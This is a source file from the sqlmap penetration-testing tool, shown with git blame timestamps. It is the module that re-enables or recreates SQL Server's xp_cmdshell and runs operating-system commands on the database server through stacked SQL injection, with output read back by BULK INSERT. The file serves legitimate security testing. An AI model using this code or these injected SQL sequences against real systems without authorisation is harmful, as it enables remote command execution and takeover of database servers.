2009-04-22 15:48:07 +04:00
#!/usr/bin/env python
"""
$ Id $
2012-01-11 18:59:46 +04:00
Copyright ( c ) 2006 - 2012 sqlmap developers ( http : / / www . sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2009-04-22 15:48:07 +04:00
"""
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2012-04-03 13:18:30 +04:00
from lib . core . common import getSPQLSnippet
2012-02-25 14:53:38 +04:00
from lib . core . common import hashDBWrite
2012-03-13 14:36:49 +04:00
from lib . core . common import isNoneValue
from lib . core . common import pushValue
from lib . core . common import popValue
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . common import readInput
2010-12-08 17:26:40 +03:00
from lib . core . common import wasLastRequestDelayed
2009-04-22 15:48:07 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2012-02-15 18:05:50 +04:00
from lib . core . enums import DBMS
2012-02-25 14:53:38 +04:00
from lib . core . enums import HASHDB_KEYS
2009-04-22 15:48:07 +04:00
from lib . core . exception import sqlmapUnsupportedFeatureException
2012-03-13 14:36:49 +04:00
from lib . core . threads import getCurrentThreadData
2010-11-02 18:31:51 +03:00
from lib . core . unescaper import unescaper
2009-04-22 15:48:07 +04:00
from lib . request import inject
class xp_cmdshell :
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins .
"""
def __init__ ( self ) :
self . xpCmdshellStr = " master..xp_cmdshell "
def __xpCmdshellCreate ( self ) :
cmd = " "
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
logger . debug ( " activating sp_OACreate " )
cmd + = " EXEC master..sp_configure ' show advanced options ' , 1; "
cmd + = " RECONFIGURE WITH OVERRIDE; "
cmd + = " EXEC master..sp_configure ' ole automation procedures ' , 1; "
cmd + = " RECONFIGURE WITH OVERRIDE; "
2010-10-28 04:19:40 +04:00
inject . goStacked ( cmd )
2009-04-22 15:48:07 +04:00
self . __randStr = randomStr ( lowercase = True )
2011-01-24 14:12:33 +03:00
cmd + = " DECLARE @ %s nvarchar(999); " % self . __randStr
2009-04-22 15:48:07 +04:00
cmd + = " set @ %s = ' " % self . __randStr
cmd + = " CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
cmd + = " EXEC sp_OACreate ' ' WScript.Shell ' ' , @ID OUT "
cmd + = " EXEC sp_OAMethod @ID, ' ' Run ' ' , Null, @cmd, 0, 1 "
cmd + = " EXEC sp_OADestroy @ID ' ; "
cmd + = " EXEC master..sp_executesql @ %s ; " % self . __randStr
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
cmd + = " RECONFIGURE WITH OVERRIDE; "
2010-10-28 04:19:40 +04:00
inject . goStacked ( cmd )
2009-04-22 15:48:07 +04:00
def __xpCmdshellConfigure2005 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_configure "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
2012-04-03 13:18:30 +04:00
cmd = getSPQLSnippet ( DBMS . MSSQL , " configure_xp_cmdshell " , ENABLE = str ( mode ) )
2009-04-22 15:48:07 +04:00
return cmd
def __xpCmdshellConfigure2000 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_addextendedproc "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
if mode == 1 :
2011-04-30 17:20:05 +04:00
cmd = " EXEC master..sp_addextendedproc ' xp_cmdshell ' , "
2009-04-22 15:48:07 +04:00
cmd + = " @dllname= ' xplog70.dll ' "
2010-01-02 05:02:12 +03:00
else :
2010-05-10 18:18:41 +04:00
cmd = " EXEC master..sp_dropextendedproc ' xp_cmdshell ' "
2009-04-22 15:48:07 +04:00
return cmd
def __xpCmdshellConfigure ( self , mode ) :
2011-01-28 19:36:09 +03:00
if Backend . isVersionWithin ( ( " 2005 " , " 2008 " ) ) :
2009-04-22 15:48:07 +04:00
cmd = self . __xpCmdshellConfigure2005 ( mode )
else :
cmd = self . __xpCmdshellConfigure2000 ( mode )
2010-10-28 04:19:40 +04:00
inject . goStacked ( cmd )
2009-04-22 15:48:07 +04:00
def __xpCmdshellCheck ( self ) :
2010-12-08 17:26:40 +03:00
cmd = self . xpCmdshellForgeCmd ( " ping -n %d 127.0.0.1 " % ( conf . timeSec * 2 ) )
2009-04-22 15:48:07 +04:00
2010-12-08 17:26:40 +03:00
inject . goStacked ( cmd )
2011-02-07 15:32:08 +03:00
return wasLastRequestDelayed ( )
2009-04-22 15:48:07 +04:00
2012-03-13 14:36:49 +04:00
def __xpCmdshellTest ( self ) :
threadData = getCurrentThreadData ( )
pushValue ( threadData . disableStdOut )
threadData . disableStdOut = True
2012-03-15 02:41:53 +04:00
logger . info ( " testing if xp_cmdshell extended procedure is usable " )
2012-03-13 14:36:49 +04:00
output = self . evalCmd ( " echo 1 " )
2012-03-15 02:41:53 +04:00
2012-03-13 14:36:49 +04:00
if isNoneValue ( output ) :
2012-03-15 02:41:53 +04:00
errMsg = " it seems that the temporary directory ( ' %s ' ) used for " % self . getRemoteTempPath ( )
errMsg + = " storing console output within the back-end file system "
errMsg + = " does not have writing permissions for the DBMS process. "
errMsg + = " You are advised to manually adjust it with option "
errMsg + = " --tmp-path switch or you will not be able to retrieve "
errMsg + = " the commands output "
2012-03-13 14:36:49 +04:00
logger . error ( errMsg )
2012-03-15 02:41:53 +04:00
else :
logger . info ( " xp_cmdshell extended procedure is usable " )
2012-03-13 14:36:49 +04:00
threadData . disableStdOut = popValue ( )
2012-04-25 11:40:42 +04:00
def xpCmdshellWriteFile ( self , fileContent , tmpPath , randDestFile ) :
echoedLines = [ ]
cmd = " "
charCounter = 0
maxLen = 512
if isinstance ( fileContent , ( set , list , tuple ) ) :
lines = fileContent
else :
lines = fileContent . split ( " \n " )
for line in lines :
echoedLine = " echo %s " % line
echoedLine + = " >> \" %s \ %s \" " % ( tmpPath , randDestFile )
echoedLines . append ( echoedLine )
for echoedLine in echoedLines :
cmd + = " %s & " % echoedLine
charCounter + = len ( echoedLine )
if charCounter > = maxLen :
self . xpCmdshellExecCmd ( cmd )
cmd = " "
charCounter = 0
if cmd :
self . xpCmdshellExecCmd ( cmd )
2009-04-22 15:48:07 +04:00
def xpCmdshellForgeCmd ( self , cmd ) :
2010-11-02 18:31:51 +03:00
self . __randStr = randomStr ( lowercase = True )
self . __cmd = unescaper . unescape ( " ' %s ' " % cmd )
self . __forgedCmd = " DECLARE @ %s VARCHAR(8000); " % self . __randStr
self . __forgedCmd + = " SET @ %s = %s ; " % ( self . __randStr , self . __cmd )
self . __forgedCmd + = " EXEC %s @ %s " % ( self . xpCmdshellStr , self . __randStr )
2010-01-29 03:09:05 +03:00
2010-11-02 18:31:51 +03:00
return self . __forgedCmd
2009-04-22 15:48:07 +04:00
2010-10-28 04:19:40 +04:00
def xpCmdshellExecCmd ( self , cmd , silent = False ) :
cmd = self . xpCmdshellForgeCmd ( cmd )
2012-02-17 19:54:49 +04:00
return inject . goStacked ( cmd , silent )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
def xpCmdshellEvalCmd ( self , cmd , first = None , last = None ) :
2009-04-22 15:48:07 +04:00
self . getRemoteTempPath ( )
2012-02-17 19:54:49 +04:00
if conf . direct :
output = self . xpCmdshellExecCmd ( cmd )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
if output and isinstance ( output , ( list , tuple ) ) :
new_output = " "
for line in output :
if line == " NULL " :
new_output + = " \n "
else :
new_output + = " %s \n " % line . strip ( " \r " )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
output = new_output
else :
tmpFile = " %s /tmpc %s .txt " % ( conf . tmpPath , randomStr ( lowercase = True ) )
cmd = " %s > \" %s \" " % ( cmd , tmpFile )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
self . xpCmdshellExecCmd ( cmd )
2009-09-26 03:03:45 +04:00
2012-02-17 19:54:49 +04:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( self . cmdTblName , tmpFile , randomStr ( 10 ) , randomStr ( 10 ) ) )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
self . delRemoteFile ( tmpFile )
output = inject . getValue ( " SELECT %s FROM %s " % ( self . tblField , self . cmdTblName ) , resumeValue = False , unique = False , firstChar = first , lastChar = last , safeCharEncode = False )
inject . goStacked ( " DELETE FROM %s " % self . cmdTblName )
2009-04-22 15:48:07 +04:00
2011-02-07 13:22:43 +03:00
if output and isinstance ( output , ( list , tuple ) ) :
2009-04-22 15:48:07 +04:00
output = output [ 0 ]
2012-02-17 19:54:49 +04:00
if output and isinstance ( output , ( list , tuple ) ) :
output = output [ 0 ]
2009-04-22 15:48:07 +04:00
return output
2010-01-04 18:02:56 +03:00
def xpCmdshellInit ( self ) :
2012-02-25 14:53:38 +04:00
if not kb . xpCmdshellAvailable :
2011-04-30 17:20:05 +04:00
infoMsg = " checking if xp_cmdshell extended procedure is "
2011-04-21 18:25:04 +04:00
infoMsg + = " available, please wait.. "
logger . info ( infoMsg )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
result = self . __xpCmdshellCheck ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if result :
logger . info ( " xp_cmdshell extended procedure is available " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
message = " xp_cmdshell extended procedure does not seem to "
2011-04-21 18:25:04 +04:00
message + = " be available. Do you want sqlmap to try to "
message + = " re-enable it? [Y/n] "
2011-04-30 17:20:05 +04:00
choice = readInput ( message , default = " Y " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not choice or choice in ( " y " , " Y " ) :
self . __xpCmdshellConfigure ( 1 )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if self . __xpCmdshellCheck ( ) :
logger . info ( " xp_cmdshell re-enabled successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
logger . warn ( " xp_cmdshell re-enabling failed " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
logger . info ( " creating xp_cmdshell with sp_OACreate " )
self . __xpCmdshellConfigure ( 0 )
self . __xpCmdshellCreate ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if self . __xpCmdshellCheck ( ) :
logger . info ( " xp_cmdshell created successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
warnMsg = " xp_cmdshell creation failed, probably "
2011-04-21 18:25:04 +04:00
warnMsg + = " because sp_OACreate is disabled "
logger . warn ( warnMsg )
2009-04-22 15:48:07 +04:00
2012-02-26 02:54:32 +04:00
hashDBWrite ( HASHDB_KEYS . KB_XP_CMDSHELL_AVAILABLE , kb . xpCmdshellAvailable )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not kb . xpCmdshellAvailable :
errMsg = " unable to proceed without xp_cmdshell "
raise sqlmapUnsupportedFeatureException , errMsg
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
debugMsg = " creating a support table to write commands standard "
2009-04-22 15:48:07 +04:00
debugMsg + = " output to "
2010-01-02 05:02:12 +03:00
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2011-04-20 16:59:23 +04:00
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
self . createSupportTbl ( self . cmdTblName , self . tblField , " NVARCHAR(4000) " )
2012-03-13 14:36:49 +04:00
self . __xpCmdshellTest ( )